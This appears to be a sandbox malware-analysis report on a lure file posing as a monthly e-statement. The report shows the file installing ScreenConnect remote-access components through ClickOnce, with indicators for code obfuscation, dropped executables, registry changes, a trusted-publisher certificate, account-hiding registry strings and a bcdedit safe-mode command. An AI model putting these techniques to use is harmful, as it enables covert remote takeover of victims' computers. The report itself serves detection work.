Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B435D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B4246000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B3EB7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000008.00000002.1567594933.0000000002CD2000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.3155817267.00000000029B0000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.3156144988.0000000002A41000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.dll.1.dr, ScreenConnect.ClientService.dll0.1.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdbe source: ScreenConnect.WindowsClient.exe, 00000007.00000000.1558755338.0000000000E12000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 00000008.00000000.1563335386.0000000000C4D000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B3EB3000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B4242000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B4383000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.1570550715.000000001C112000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Windows.dll0.1.dr, ScreenConnect.Windows.dll.1.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000007.00000000.1558755338.0000000000E12000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdbW] source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B3EB3000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B4242000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B4383000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.1570550715.000000001C112000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Windows.dll0.1.dr, ScreenConnect.Windows.dll.1.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B424A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B4325000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B3EBB000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.1569312203.0000000002F12000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B3EAB000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000008.00000002.1568117293.0000000005462000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.Core.dll.1.dr, ScreenConnect.Core.dll0.1.dr

PE file contains a valid data directory to section mapping

Source: monthly-eStatementForum120478962.Client.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: monthly-eStatementForum120478962.Client.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: monthly-eStatementForum120478962.Client.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: monthly-eStatementForum120478962.Client.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: monthly-eStatementForum120478962.Client.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Binary contains a suspicious time stamp

Source: ScreenConnect.Client.dll.1.dr

Static PE information: 0xB8CD3C5A [Sat Mar 31 22:21:14 2068 UTC]

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

0_2_00F21000

PE file contains an invalid checksum

Source: monthly-eStatementForum120478962.Client.exe

Static PE information: real checksum: 0x1bda6 should be: 0x1d486

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Code function: 0_2_00F21BC0 push ecx; ret	0_2_00F21BD3
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC35D2A5 pushad ; iretd	1_2_00007FFAAC35D2A6
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC47A798 push ebp; retn 5F4Ah	1_2_00007FFAAC4A7A28
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC4951F8 pushfd ; retf	1_2_00007FFAAC495991
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC477D00 push eax; retf	1_2_00007FFAAC477D1D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC494C6D push edx; retn 000Eh	1_2_00007FFAAC494C6E
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC47842E pushad ; ret	1_2_00007FFAAC47845D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC47845E push eax; ret	1_2_00007FFAAC47846D
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 7_2_00007FFAAC452D68 push eax; ret	7_2_00007FFAAC452E7B
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 7_2_00007FFAAC453F3A pushad ; retf	7_2_00007FFAAC453F3B
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 7_2_00007FFAAC45401A push eax; iretd	7_2_00007FFAAC45401B
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 7_2_00007FFAAC452FDA pushad ; retf	7_2_00007FFAAC452FDB
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 7_2_00007FFAAC4530BA push eax; iretd	7_2_00007FFAAC4530BB
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 7_2_00007FFAAC454162 push eax; ret	7_2_00007FFAAC454163
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Code function: 8_2_010A1247 push esp; retf	8_2_010A1251
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Code function: 8_2_010A18B1 push 54053933h; retf	8_2_010A18BD
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 10_2_00007FFAAC777B30 push ss; iretd	10_2_00007FFAAC777B31

Persistence and Installation Behavior

Drops PE files

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..core_4b14c015c87c1ad8_0018.0002_none_5411371a15332106\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsClient.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.ClientService.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..ient_4b14c015c87c1ad8_0018.0002_none_ea2694ec2482770a\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.ClientService.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Windows.dll	Jump to dropped file

May use bcdedit to modify the Windows boot settings

Source: ScreenConnect.ClientService.dll.1.dr	Binary or memory string: bcdedit.exeg/copy {current} /d "Reboot and Reconnect Safe Mode"7{.{8}-.{4}-.{4}-.{4}-.{12}}
Source: ScreenConnect.ClientService.dll0.1.dr	Binary or memory string: bcdedit.exeg/copy {current} /d "Reboot and Reconnect Safe Mode"7{.{8}-.{4}-.{4}-.{4}-.{12}}

Boot Survival

Creates or modifies windows services

Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application

Jump to behavior

Modifies existing windows services

Source: C:\Windows\System32\svchost.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W32Time\Config

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Contains functionality to hide user accounts

Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.1570550715.000000001C112000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.ClientService.exe, 00000008.00000002.1567594933.0000000002CD2000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.3155817267.00000000029B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.3156144988.0000000002A41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.ClientService.dll.1.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.Windows.dll0.1.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.ClientService.dll0.1.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.Windows.dll.1.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList

Stores large binary data to the registry

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C Blob

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
